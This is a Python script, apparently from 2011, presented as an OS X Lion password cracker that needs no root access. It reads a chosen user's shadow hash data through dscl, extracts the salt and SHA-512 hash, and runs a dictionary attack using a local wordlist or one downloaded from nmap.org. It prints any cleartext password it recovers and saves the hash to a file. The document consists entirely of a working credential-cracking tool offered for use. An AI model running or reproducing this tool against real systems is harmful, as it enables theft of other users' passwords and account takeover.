##########################################

#* OS X Lion 10.7 Password Cracker

#* UID 0 NOT required

#*

#* Usage:

#* python lion_crack.py [username] [dictionary]

#*

#*

#* Patrick Dunstan

#* Sep 18, 2011

#* http://www.defenceindepth.net

#*

###########################################

from subprocess import *

import hashlib

import os

import urllib2

import sys

from string import *

link = "http://nmap.org/svn/nselib/data/passwords.lst" # Online password file

defaultuser = False

username = ""

def check ( password ) : # Hash password and compare

if not password. startswith ( "#!" ) : # Ignore comments

guess = hashlib. sha512 ( salt_hex + password ) . hexdigest ( )

print ( "Trying... " + password )

if guess == hash :

print ( "Cleartext password for user '" +username+ "' is : " +password )

exit ( 0 )

if len ( sys . argv ) < 2 :

print ( "No username given. Defaulting to current user." )

defaultuser = True

else :

username = sys . argv [ 1 ]

p = Popen ( "whoami" , shell = True , stdout = PIPE )

whoami = p. communicate ( ) [ 0 ]

if defaultuser:

username = whoami. rstrip ( )

p = Popen ( "dscl localhost -read /Search/Users/" + username , shell = True , stdout = PIPE )

dscl_out = p. communicate ( ) [ 0 ]

list = dscl_out. split ( "

" )

for pos , item in enumerate ( list ) : # extract digest

if "dsAttrTypeNative:ShadowHashData" in item:

digest = list [ pos+ 1 ] . replace ( " " , "" )

if len ( digest ) == 262 : # Out of box configuration

salt = digest [ 56 : 64 ]

hash = digest [ 64 : 192 ]

elif len ( digest ) == 314 : # SMB turned on

print ( "SMB is on" )

salt = digest [ 104 : 112 ]

hash = digest [ 112 : 240 ]

elif len ( digest ) == 1436 : # Lion Server

salt = digest [ 176 : 184 ]

hash = digest [ 176 : 304 ]

elif len ( digest ) == 1492 : # Lion Server with SMB

salt = digest [ 224 : 232 ]

hash = digest [ 232 : 360 ]

print ( "SALT : " + salt )

print ( "HASH : " + hash )

salt_hex = chr ( int ( salt [ 0 : 2 ] , 16 ) ) + chr ( int ( salt [ 2 : 4 ] , 16 ) ) + chr ( int ( salt [ 4 : 6 ] , 16 ) ) + chr ( int ( salt [ 6 : 8 ] , 16 ) )

if len ( sys . argv ) == 3 : # If dictionary file specified

print ( "Reading from dictionary file '" + sys . argv [ 2 ] + "'." )

check ( whoami. rstrip ( ) )

passlist = open ( sys . argv [ 2 ] , "r" )

password = passlist. readline ( )

while password:

check ( password. rstrip ( ) )

password = passlist. readline ( )

passlist. close ( )

else : # No dictionary file specified

print ( "No dictionary file specified. Defaulting to hard coded link." )

passlist = urllib2 . urlopen ( link ) # Download dictionary file

passwords = passlist. read ( ) . split ( "

" )

print ( "

Password list successfully read" )

passwords. append ( whoami. rstrip ( ) )

print ( "

Cracking..." )

for password in passwords:

check ( password )

# Save hash for later

print ( "

Saving hash to " +username+ ".hash..." )

out = open ( username+ ".hash" , "w" )

out. write ( salt+ hash )

out. close ( )